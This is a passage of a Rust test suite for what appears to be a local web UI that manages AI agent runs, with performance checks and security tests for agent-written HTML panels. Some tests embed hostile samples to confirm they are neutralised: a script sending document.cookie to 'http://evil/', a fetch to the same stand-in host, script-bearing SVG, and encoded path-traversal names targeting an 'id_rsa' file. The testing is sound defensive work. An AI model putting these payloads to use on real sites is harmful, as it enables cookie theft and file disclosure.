11090 &format!("20261001-000000-{i:04x}"),
11091 RunStatus::Ready,
11092 repos[i % 2].to_str().unwrap(),
11093 );
11094 }
11095 for i in fx.talks().list().len()..items {
11096 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11097 let mut talk = fx.talks().get(&id).unwrap();
11098 talk.repo = repos[i % 2].clone();
11099 fx.talks().put(&mut talk).unwrap();
11100 let mut task = crate::queue::Task::new(
11101 format!("task {i}"),
11102 "instruction".into(),
11103 repos[i % 2].clone(),
11104 crate::queue::Source::Agent {
11105 run: id,
11106 node: crate::queue::CHAT_NODE.into(),
11107 },
11108 );
11109 task.id = format!("20261004-000000-{i:04x}");
11110 fx.queue().put(&mut task).unwrap();
11111 if i < crate::notices::CAP {
11113 Notices::at(fx.home.path().join("notifications"))
11114 .raise(Notice::info(&format!("notice-{i}"), "notification"))
11115 .unwrap();
11116 }
11117 }
11118 assert_eq!(fx.questions().list().len(), questions);
11119 assert_eq!(run_ids(&fx.runs()).len(), runs);
11120 assert_eq!(fx.talks().list().len(), items);
11121 assert_eq!(fx.queue().list().len(), items);
11122 assert_eq!(
11123 Notices::at(fx.home.path().join("notifications"))
11124 .list()
11125 .len(),
11126 items.min(crate::notices::CAP)
11127 );
11128 }
11129
11130 fn request_counts(res: &Res) -> (usize, usize) {
11131 assert_eq!(res.status, 200, "{}", res.body);
11132 (
11133 res.header("x-test-discoveries").unwrap().parse().unwrap(),
11134 res.header("x-test-git").unwrap().parse().unwrap(),
11135 )
11136 }
11137
11138 #[tokio::test]
11139 async fn list_request_cost_is_independent_of_record_count() {
11140 let (_tmp, repos, fx) = performance_fixture().await;
11141 let mut previous = None;
11142 for n in [4, 60] {
11143 seed_performance(&fx, &repos, n, n, n);
11144 let mut costs = Vec::new();
11145 for (path, discoveries) in [
11146 ("/api/questions", 1),
11147 ("/api/talks", 0),
11148 ("/api/health", 0),
11149 ("/api/stats", 1),
11150 ] {
11151 for repo in &repos {
11154 let cache = repo.join(".git/magi/config");
11155 if cache.exists() {
11156 std::fs::remove_dir_all(cache).unwrap();
11157 }
11158 }
11159 let cost = request_counts(&fx.get(path).await);
11160 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11161 assert_eq!(cost.0, discoveries, "{path}, N={n}");
11162 assert!(
11163 cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11164 "{path}: {cost:?}"
11165 );
11166 costs.push(cost);
11167 }
11168 if let Some(previous) = previous {
11169 assert_eq!(costs, previous);
11170 }
11171 previous = Some(costs);
11172 }
11173 }
11177
11178 #[tokio::test]
11181 async fn list_handler_cost_without_transport() {
11182 let (_tmp, repos) = performance_repositories().await;
11183 let fx = Fixture {
11184 home: TempDir::new().unwrap(),
11185 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11186 };
11187 let ui = Arc::new(
11188 Ui::new(
11189 fx.queue(),
11190 fx.questions(),
11191 fx.talks(),
11192 fx.runs(),
11193 fx.home.path().to_path_buf(),
11194 repos[0].clone(),
11195 )
11196 .with_worktrees_root(fx.home.path().join("wt")),
11197 );
11198 let mut previous = None;
11199 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11200 seed_performance(&fx, &repos, n, runs, items);
11201 let mut costs = Vec::new();
11202 for endpoint in ["questions", "talks", "health", "stats"] {
11203 for repo in &repos {
11204 let cache = repo.join(".git/magi/config");
11205 if cache.exists() {
11206 std::fs::remove_dir_all(cache).unwrap();
11207 }
11208 }
11209 let (_, cost) = request_cost::measure(async {
11210 match endpoint {
11211 "questions" => {
11212 let _ = questions_list(State(ui.clone())).await.unwrap();
11213 }
11214 "talks" => {
11215 let _ = talks_list(
11216 State(ui.clone()),
11217 Query(ListQuery {
11218 limit: None,
11219 ids: None,
11220 }),
11221 header::HeaderMap::new(),
11222 )
11223 .await
11224 .unwrap();
11225 }
11226 "health" => {
11227 let _ = health(State(ui.clone())).await.unwrap();
11228 }
11229 _ => {
11230 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11231 .await
11232 .unwrap();
11233 }
11234 }
11235 })
11236 .await;
11237 eprintln!("{endpoint} handler N={n}: {cost:?}");
11238 assert_eq!(
11239 cost.0,
11240 if matches!(endpoint, "talks" | "health") {
11241 0
11242 } else {
11243 1
11244 },
11245 "{endpoint}"
11246 );
11247 assert!(
11248 cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11249 "{endpoint}: {cost:?}"
11250 );
11251 costs.push(cost);
11252 }
11253 if let Some(previous) = previous {
11254 assert_eq!(costs, previous);
11255 }
11256 previous = Some(costs);
11257 }
11258 }
11259
11260 #[tokio::test]
11261 async fn list_request_cost_scopes_do_not_mix() {
11262 let (_tmp, repos, fx) = performance_fixture().await;
11263 seed_performance(&fx, &repos, 10, 0, 10);
11264 let (questions, talks, notices) = tokio::join!(
11265 fx.get("/api/questions"),
11266 fx.get("/api/talks"),
11267 fx.get("/api/notifications")
11268 );
11269 assert_eq!(request_counts(&questions).0, 1);
11270 assert_eq!(request_counts(&talks), (0, 0));
11273 assert_eq!(request_counts(¬ices), (0, 0));
11274 }
11275
11276 #[tokio::test]
11277 async fn list_endpoints_large_home_responses() {
11278 check_large_home_endpoints(false).await;
11279 }
11280
11281 #[tokio::test]
11282 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11283 async fn list_endpoints_large_home_ceiling() {
11284 check_large_home_endpoints(true).await;
11285 }
11286
11287 async fn check_large_home_endpoints(timed: bool) {
11288 let (_tmp, repos, fx) = performance_fixture().await;
11289 seed_performance(&fx, &repos, 200, 300, 400);
11290 let mut failures = Vec::new();
11291 for path in [
11294 "/",
11295 "/app.js",
11296 "/app.css",
11297 "/api/questions",
11298 "/api/runs?limit=300",
11299 "/api/queue",
11300 "/api/talks",
11301 "/api/notifications",
11302 "/api/health",
11303 "/api/stats",
11304 "/api/loop",
11305 "/api/settings",
11306 "/api/repos",
11307 ] {
11308 let start = std::time::Instant::now();
11309 let result = if timed {
11310 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11311 } else {
11312 Ok(fx.get(path).await)
11313 };
11314 let elapsed = start.elapsed();
11315 eprintln!("{path}: {elapsed:?}");
11316 match result {
11317 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11318 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11319 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11320 }
11321 }
11322 assert!(failures.is_empty(), "{}", failures.join("\n"));
11323 }
11324
11325 struct Res {
11326 status: u16,
11327 headers: String,
11328 head: String,
11333 body: String,
11334 bytes: Vec<u8>,
11338 }
11339
11340 impl Res {
11341 fn json(&self) -> Value {
11342 serde_json::from_str(&self.body)
11343 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11344 }
11345
11346 fn header(&self, name: &str) -> Option<&str> {
11348 self.head.lines().find_map(|line| {
11349 let (key, value) = line.split_once(':')?;
11350 key.trim()
11351 .eq_ignore_ascii_case(name)
11352 .then(|| value.trim_start().trim_end_matches('\r'))
11353 })
11354 }
11355 }
11356
11357 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11360 request_with(addr, method, path, body, &[]).await
11361 }
11362
11363 async fn request_with(
11367 addr: SocketAddr,
11368 method: &str,
11369 path: &str,
11370 body: Option<&str>,
11371 extra: &[(&str, &str)],
11372 ) -> Res {
11373 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11374 for (name, value) in extra {
11375 head.push_str(&format!("{name}: {value}\r\n"));
11376 }
11377 if let Some(body) = body {
11378 head.push_str("Content-Type: application/json\r\n");
11379 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11380 }
11381 head.push_str("\r\n");
11382 if let Some(body) = body {
11383 head.push_str(body);
11384 }
11385 let mut socket = tokio::net::TcpStream::connect(addr)
11386 .await
11387 .expect("connect to the test server");
11388 socket
11389 .write_all(head.as_bytes())
11390 .await
11391 .expect("write request");
11392 let mut raw = Vec::new();
11393 socket.read_to_end(&mut raw).await.expect("read response");
11394 let split = raw
11397 .windows(4)
11398 .position(|w| w == b"\r\n\r\n")
11399 .expect("a header block");
11400 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11401 let bytes = raw[split + 4..].to_vec();
11402 let status = head
11403 .lines()
11404 .next()
11405 .and_then(|line| line.split_whitespace().nth(1))
11406 .and_then(|code| code.parse().ok())
11407 .expect("a status line");
11408 Res {
11409 status,
11410 headers: head.to_lowercase(),
11411 head,
11412 body: String::from_utf8_lossy(&bytes).into_owned(),
11413 bytes,
11414 }
11415 }
11416
11417 async fn request_bytes(
11423 addr: SocketAddr,
11424 path: &str,
11425 headers: &[(&str, &str)],
11426 body: &[u8],
11427 ) -> Res {
11428 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11429 for (name, value) in headers {
11430 head.push_str(&format!("{name}: {value}\r\n"));
11431 }
11432 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11433 let mut socket = tokio::net::TcpStream::connect(addr)
11434 .await
11435 .expect("connect to the test server");
11436 socket
11437 .write_all(head.as_bytes())
11438 .await
11439 .expect("write request head");
11440 socket.write_all(body).await.expect("write request body");
11441 let mut raw = Vec::new();
11442 socket.read_to_end(&mut raw).await.expect("read response");
11443 let split = raw
11444 .windows(4)
11445 .position(|w| w == b"\r\n\r\n")
11446 .expect("a header block");
11447 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11448 let bytes = raw[split + 4..].to_vec();
11449 let status = head
11450 .lines()
11451 .next()
11452 .and_then(|line| line.split_whitespace().nth(1))
11453 .and_then(|code| code.parse().ok())
11454 .expect("a status line");
11455 Res {
11456 status,
11457 headers: head.to_lowercase(),
11458 head,
11459 body: String::from_utf8_lossy(&bytes).into_owned(),
11460 bytes,
11461 }
11462 }
11463
11464 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11466 let mut state = RunState::new(
11467 PathBuf::from("/repo/magi"),
11468 "main".to_owned(),
11469 "0123456789abcdef".to_owned(),
11470 "Add a web UI\n\nMobile first.".to_owned(),
11471 Config::default(),
11472 );
11473 state.id = id.to_owned();
11474 state.status = status;
11475 let dir = runs.join(id);
11476 std::fs::create_dir_all(&dir).expect("run dir");
11477 std::fs::write(
11478 dir.join("run.json"),
11479 serde_json::to_string_pretty(&state).expect("serialize run"),
11480 )
11481 .expect("write run.json");
11482 }
11483
11484 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11488 let mut state = RunState::new(
11489 PathBuf::from(repo),
11490 "main".to_owned(),
11491 "0123456789abcdef".to_owned(),
11492 "task".to_owned(),
11493 Config::default(),
11494 );
11495 state.id = id.to_owned();
11496 state.status = status;
11497 let dir = runs.join(id);
11498 std::fs::create_dir_all(&dir).expect("run dir");
11499 std::fs::write(
11500 dir.join("run.json"),
11501 serde_json::to_string_pretty(&state).expect("serialize run"),
11502 )
11503 .expect("write run.json");
11504 }
11505
11506 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11507 let body = serde_json::json!({
11508 "schema": 1,
11509 "pid": 4242,
11510 "started_at": Timestamp::now().to_string(),
11511 "updated_at": updated_at.to_string(),
11512 "idle": false,
11513 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11514 "completed": 7,
11515 "polls": 143,
11516 });
11517 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11518 }
11519
11520 fn launch_idle(
11530 _opts: daemon::Opts,
11531 stop: daemon::Stop,
11532 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11533 Box::pin(async move {
11534 while !stop.stopped() {
11535 tokio::time::sleep(Duration::from_millis(2)).await;
11536 }
11537 Ok(())
11538 })
11539 }
11540
11541 fn launch_broken(
11544 _opts: daemon::Opts,
11545 _stop: daemon::Stop,
11546 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11547 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11552 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11553 Box::pin(async move {
11554 Err(anyhow::anyhow!(if first {
11555 "publish the daemon status file: read-only file system"
11556 } else {
11557 "the restarted stand-in failed as well"
11558 }))
11559 })
11560 }
11561
11562 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11571 for _ in 0..SETTLE_STEPS {
11572 let view = fx.get("/api/loop").await.json();
11573 if want(&view) {
11574 return view;
11575 }
11576 tokio::time::sleep(Duration::from_millis(10)).await;
11577 }
11578 panic!(
11579 "the loop never settled: {}",
11580 fx.get("/api/loop").await.json()
11581 );
11582 }
11583
11584 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11586 let store = fx.questions();
11587 let mut q = Question::new(
11588 "20260902-000000-beef".to_owned(),
11589 "implement".to_owned(),
11590 "impl-A".to_owned(),
11591 summary.to_owned(),
11592 "because it matters".to_owned(),
11593 choices.iter().map(|c| (*c).to_owned()).collect(),
11594 );
11595 store.put(&mut q).expect("put question");
11596 q.id
11597 }
11598
11599 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11605 let store = fx.questions();
11606 let mut q = Question::new(
11607 "20260902-000000-beef".to_owned(),
11608 "land".to_owned(),
11609 "fix".to_owned(),
11610 "Merge this?".to_owned(),
11611 "the diff is in the panel".to_owned(),
11612 vec!["merge".to_owned(), "hold".to_owned()],
11613 );
11614 let staging = fx.home.path().join("staging");
11617 std::fs::create_dir_all(&staging).expect("staging dir");
11618 let sources: Vec<PathBuf> = assets
11619 .iter()
11620 .map(|(name, bytes)| {
11621 let path = staging.join(name);
11622 std::fs::write(&path, bytes).expect("write staged asset");
11623 path
11624 })
11625 .collect();
11626 store
11627 .put_panel(&mut q, html, &sources)
11628 .expect("write the panel");
11629 store.put(&mut q).expect("put question");
11630 q.id
11631 }
11632
11633 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11642 seed_talk_at(&fx.talks(), id, status)
11643 }
11644
11645 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11646 std::fs::create_dir_all(store.root()).expect("talks dir");
11647 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11648 .expect("serialize a seat");
11649 let body = serde_json::json!({
11650 "schema": 1,
11651 "id": id,
11652 "repo": "/repo/magi",
11653 "agent": "mock",
11654 "status": status,
11655 "turns": [],
11656 "created_at": Timestamp::now().to_string(),
11657 "updated_at": Timestamp::now().to_string(),
11658 "seat": seat,
11659 });
11660 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11661 store.get(id).expect("the seeded talk has to be readable");
11662 id.to_owned()
11663 }
11664
11665 #[tokio::test]
11666 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11667 let fx = Fixture::start().await;
11668 let id = panel(
11669 &fx,
11670 "<h1>Merge?</h1><img src=\"diff.svg\">",
11671 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11672 );
11673
11674 for path in [
11675 format!("/api/questions/{id}/panel"),
11676 format!("/api/questions/{id}/asset/diff.svg"),
11677 ] {
11678 let res = fx.get(&path).await;
11679 assert_eq!(res.status, 200, "{path}: {}", res.body);
11680 assert_eq!(
11686 res.header("content-security-policy"),
11687 Some(
11688 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11689 font-src data:; base-uri 'none'; form-action 'none'; \
11690 frame-ancestors 'self'"
11691 ),
11692 "{path} is the only thing between a hostile panel and the tailnet"
11693 );
11694 assert_eq!(
11695 res.header("x-content-type-options"),
11696 Some("nosniff"),
11697 "{path}: a browser must not re-decide the type we sent"
11698 );
11699 assert_eq!(
11700 res.header("referrer-policy"),
11701 Some("no-referrer"),
11702 "{path}: a panel must not leak the question id off the machine"
11703 );
11704
11705 let pre = fx.head(&path).await;
11710 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11711 assert_eq!(
11712 pre.header("content-security-policy"),
11713 res.header("content-security-policy"),
11714 "{path}: the preflight carries the same policy"
11715 );
11716 assert_eq!(
11717 pre.header("content-type"),
11718 res.header("content-type"),
11719 "{path}: the preflight carries the same type"
11720 );
11721 }
11722 }
11723
11724 #[tokio::test]
11725 async fn a_panel_reaches_the_browser_byte_for_byte() {
11726 let fx = Fixture::start().await;
11727 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11732 let id = panel(&fx, html, &[]);
11733
11734 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11735
11736 assert_eq!(res.status, 200);
11737 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11738 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11739 assert_eq!(
11740 res.header("content-disposition"),
11741 None,
11742 "the panel itself is rendered in the frame, not downloaded"
11743 );
11744 }
11745
11746 #[tokio::test]
11747 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11748 let fx = Fixture::start().await;
11749 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11750 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11751 let id = panel(
11752 &fx,
11753 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11754 &[("diff.svg", svg), ("shot.png", png)],
11755 );
11756
11757 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11758 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11759
11760 assert_eq!(as_svg.status, 200);
11761 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11762 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11767
11768 assert_eq!(as_png.status, 200);
11769 assert_eq!(as_png.header("content-type"), Some("image/png"));
11770 assert_eq!(
11771 as_png.header("content-disposition"),
11772 None,
11773 "a raster image has no execution surface, so tapping it still shows it"
11774 );
11775 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11776 }
11777
11778 #[tokio::test]
11779 async fn an_html_asset_is_never_served_as_html() {
11780 let fx = Fixture::start().await;
11781 let id = panel(
11782 &fx,
11783 "<p>see the notes</p>",
11784 &[
11785 (
11786 "notes.html",
11787 b"<script>fetch('http://evil/'+document.cookie)</script>",
11788 ),
11789 ("hook.js", b"fetch('http://evil/')"),
11790 ("data.json", b"{}"),
11791 ("HEADLINE.TXT", b"plain"),
11792 ],
11793 );
11794
11795 for name in ["notes.html", "hook.js", "data.json"] {
11796 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11797 assert_eq!(res.status, 200, "{name}: {}", res.body);
11798 assert_eq!(
11803 res.header("content-type"),
11804 Some("application/octet-stream"),
11805 "{name} must not be a type the browser will execute or render"
11806 );
11807 }
11808 let txt = fx
11811 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11812 .await;
11813 assert_eq!(
11814 txt.header("content-type"),
11815 Some("text/plain; charset=utf-8")
11816 );
11817 }
11818
11819 #[tokio::test]
11820 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11821 let fx = Fixture::start().await;
11822 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11823 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11827
11828 for encoded in [
11835 "%2e%2e%2fid_rsa",
11836 "..%2fid_rsa",
11837 "..%5cid_rsa",
11838 "%2e%2e%5cid_rsa",
11839 "diff%00.svg",
11840 "..",
11841 ".hidden",
11842 "%2e%2e%2f%2e%2e%2fid_rsa",
11843 ] {
11844 let res = fx
11845 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11846 .await;
11847 assert_eq!(
11848 res.status, 400,
11849 "`{encoded}` has to be refused by name, not looked up: {}",
11850 res.body
11851 );
11852 assert!(res.json()["error"].is_string(), "{}", res.body);
11853 }
11854
11855 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11861 let res = fx
11862 .get(&format!("/api/questions/{id}/asset/{literal}"))
11863 .await;
11864 assert_eq!(
11865 res.status, 404,
11866 "`{literal}` must not match the asset route at all: {}",
11867 res.body
11868 );
11869 }
11870 }
11871
11872 #[tokio::test]
11873 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11874 let fx = Fixture::start().await;
11875 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11876 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11877
11878 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11882 assert_eq!(none.status, 404, "{}", none.body);
11883 assert!(none.json()["error"].is_string(), "{}", none.body);
11884 assert_eq!(
11885 fx.head(&format!("/api/questions/{plain}/panel"))
11886 .await
11887 .status,
11888 404,
11889 "the preflight is the only way the client can learn this"
11890 );
11891
11892 let missing = fx
11894 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11895 .await;
11896 assert_eq!(missing.status, 404, "{}", missing.body);
11897 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11898
11899 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11901 assert_eq!(
11902 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11903 404
11904 );
11905 }
11906
11907 #[tokio::test]
11908 async fn a_run_with_an_open_question_reads_as_waiting() {
11909 let fx = Fixture::start().await;
11910 let run = "20260902-000000-beef".to_owned();
11911 write_run(&fx.runs(), &run, RunStatus::Implementing);
11912
11913 let before = fx.get("/api/runs").await.json();
11914 assert_eq!(before[0]["waiting"], false, "{before}");
11915
11916 let store = fx.questions();
11917 let mut q = Question::new(
11918 run.clone(),
11919 "implement".to_owned(),
11920 "impl-A".to_owned(),
11921 "Which backend?".to_owned(),
11922 String::new(),
11923 vec!["SQLite".to_owned()],
11924 );
11925 store.put(&mut q).expect("put");
11926
11927 let during = fx.get("/api/runs").await.json();
11928 assert_eq!(during[0]["waiting"], true, "{during}");
11929
11930 q.answer(Answer::Choice("SQLite".to_owned()))
11933 .expect("answer");
11934 store.put(&mut q).expect("put");
11935 let after = fx.get("/api/runs").await.json();
11936 assert_eq!(after[0]["waiting"], false, "{after}");
11937 }
11938
11939 #[tokio::test]
11940 async fn an_open_question_is_listed_and_counted_by_health() {
11941 let fx = Fixture::start().await;
11942 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11943
11944 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11945 let listed = fx.get("/api/questions").await.json();
11946 assert_eq!(listed.as_array().expect("array").len(), 1);
11947 assert_eq!(listed[0]["id"], id);
11948 assert_eq!(listed[0]["status"], "open");
11949 assert_eq!(listed[0]["choices"][1], "Redis");
11950 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11953 }
11954
11955 fn obsolete_approval_state() -> RunState {
11956 let mut state = crate::land::tests::repair_state(true, true);
11957 state.pr = Some(crate::run::PrRecord {
11958 url: "https://github.com/example/repo/pull/42".into(),
11959 number: 42,
11960 state: "open".into(),
11961 checks: "green".into(),
11962 round: 1,
11963 rounds: 4,
11964 red_at_merge: Vec::new(),
11965 });
11966 state
11967 }
11968
11969 #[tokio::test]
11970 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11971 for owner in ["missing", "current", "completed", "later"] {
11972 let fx = Fixture {
11973 home: TempDir::new().unwrap(),
11974 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11975 };
11976 let mut state = obsolete_approval_state();
11977 state.status = RunStatus::Landing;
11978 state.parked = true;
11979 state.driver_exited = true;
11980 let mut q = Question::new(
11981 state.id.clone(),
11982 crate::land::APPROVAL_NODE.into(),
11983 "land".into(),
11984 "Old approval".into(),
11985 "Original evidence".into(),
11986 vec!["merge".into(), "hold".into()],
11987 );
11988 state.land_approval = Some(crate::run::LandApproval {
11989 question: q.id.clone(),
11990 head: "head".into(),
11991 });
11992 state.save_under(fx.home.path()).unwrap();
11993 let stale = state.clone();
11994 fx.questions().put(&mut q).unwrap();
11995 let mut task = Task::new(
11996 "Owner".into(),
11997 "Original instruction".into(),
11998 state.repo.clone(),
11999 Source::Human,
12000 );
12001 task.runs.push(state.id.clone());
12002 task.status = if owner == "completed" {
12003 TaskStatus::Done
12004 } else {
12005 TaskStatus::Parked
12006 };
12007 if owner == "later" {
12008 task.runs.push("later-run".into());
12009 }
12010 if owner != "missing" {
12011 fx.queue().put(&mut task).unwrap();
12012 }
12013 let ui = Arc::new(Ui::new(
12014 fx.queue(),
12015 fx.questions(),
12016 fx.talks(),
12017 fx.runs(),
12018 fx.home.path().into(),
12019 state.repo.clone(),
12020 ));
12021 let response = question_answer(
12022 State(ui),
12023 Path(q.id.clone()),
12024 Ok(Json(NewAnswer {
12025 choice: Some(crate::merge_decision::DISMISS.into()),
12026 text: None,
12027 ..Default::default()
12028 })),
12029 )
12030 .await
12031 .unwrap();
12032 assert_eq!(
12033 response.0.question.resolution().as_deref(),
12034 Some(crate::merge_decision::DISMISS)
12035 );
12036 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12037 assert_eq!(disk.status, RunStatus::Superseded);
12038 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12039 assert!(!crate::merge_decision::resumable_hold(&disk));
12040 assert_eq!(
12041 serde_json::to_value(&disk.pr).unwrap(),
12042 serde_json::to_value(&stale.pr).unwrap()
12043 );
12044 assert_eq!(fx.questions().count_open(), 0);
12045 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12046 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12047 if owner == "missing" {
12048 assert!(fx.queue().list().is_empty());
12049 } else {
12050 let after = fx.queue().get(&task.id).unwrap();
12051 assert_eq!(
12052 after.status,
12053 if owner == "current" {
12054 TaskStatus::Done
12055 } else {
12056 task.status
12057 }
12058 );
12059 assert_eq!(after.runs, task.runs);
12060 assert_eq!(after.instruction, task.instruction);
12061 assert_eq!(after.action_applied(&q.id), owner == "current");
12062 }
12063 }
12064 }
12065
12066 #[tokio::test]
12067 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12068 let fx = Fixture::start().await;
12069 let mut state = obsolete_approval_state();
12070 state.status = RunStatus::Landing;
12071 state.parked = true;
12072 state.driver_exited = true;
12073 let mut q = Question::new(
12074 state.id.clone(),
12075 crate::land::APPROVAL_NODE.into(),
12076 "land".into(),
12077 "Superseded PR approval".into(),
12078 "Original review evidence".into(),
12079 vec!["merge".into(), "hold".into()],
12080 );
12081 state.land_approval = Some(crate::run::LandApproval {
12082 question: q.id.clone(),
12083 head: "old-reviewed-head".into(),
12084 });
12085 state.save_under(fx.home.path()).unwrap();
12088 let stale_driver = state.clone();
12089 fx.questions().put(&mut q).unwrap();
12090 let path = fx
12091 .home
12092 .path()
12093 .join("questions")
12094 .join(format!("{}.json", q.id));
12095 let mut legacy = serde_json::to_value(&q).unwrap();
12096 legacy["schema"] = 9.into();
12097 legacy.as_object_mut().unwrap().remove("merge_target");
12098 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12099
12100 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12103 let answer_path = format!("/api/questions/{}/answer", q.id);
12104 let res = fx.post(&answer_path, Some(&body)).await;
12105 assert_eq!(res.status, 200, "{}", res.body);
12106 let disk = fx.questions().get(&q.id).unwrap();
12107 assert_eq!(
12108 disk.resolution().as_deref(),
12109 Some(crate::merge_decision::DISMISS)
12110 );
12111 assert!(disk.detail.starts_with("Original review evidence"));
12112 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12113 assert_eq!(retired.status, RunStatus::Superseded);
12114 assert_eq!(
12115 serde_json::to_value(&retired.pr).unwrap(),
12116 serde_json::to_value(&state.pr).unwrap()
12117 );
12118 assert!(!retired.merge_decision.as_ref().unwrap().closed);
12119 assert!(!crate::merge_decision::resumable_hold(&retired));
12120 assert!(fx.queue().list().is_empty());
12121 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12122 let addr = Fixture::serve(
12124 fx.home.path(),
12125 PathBuf::from("/repo/magi"),
12126 launch_idle,
12127 None,
12128 )
12129 .await;
12130 let reconnected = Fixture {
12131 home: fx.home,
12132 addr,
12133 };
12134 let listed = reconnected.get("/api/questions").await.json();
12135 assert!(
12136 listed
12137 .as_array()
12138 .unwrap()
12139 .iter()
12140 .all(|q| q["status"] != "open")
12141 );
12142 assert_eq!(listed[0]["id"], q.id, "history remains available");
12143 assert_eq!(
12144 reconnected.get("/api/health").await.json()["questions_open"],
12145 0
12146 );
12147 assert_eq!(
12148 reconnected
12149 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12150 .await
12151 .status,
12152 409
12153 );
12154 assert!(
12156 reconnected
12157 .questions()
12158 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12159 .is_err()
12160 );
12161 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12164 }
12165
12166 #[tokio::test]
12167 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12168 let fx = Fixture::start().await;
12169 let mut state = obsolete_approval_state();
12170 state.status = RunStatus::Landing;
12171 state.driver_exited = true;
12172 let mut q = Question::new(
12173 state.id.clone(),
12174 crate::land::APPROVAL_NODE.into(),
12175 "land".into(),
12176 "Obsolete approval".into(),
12177 String::new(),
12178 vec!["merge".into(), "hold".into()],
12179 );
12180 state.land_approval = Some(crate::run::LandApproval {
12181 question: q.id.clone(),
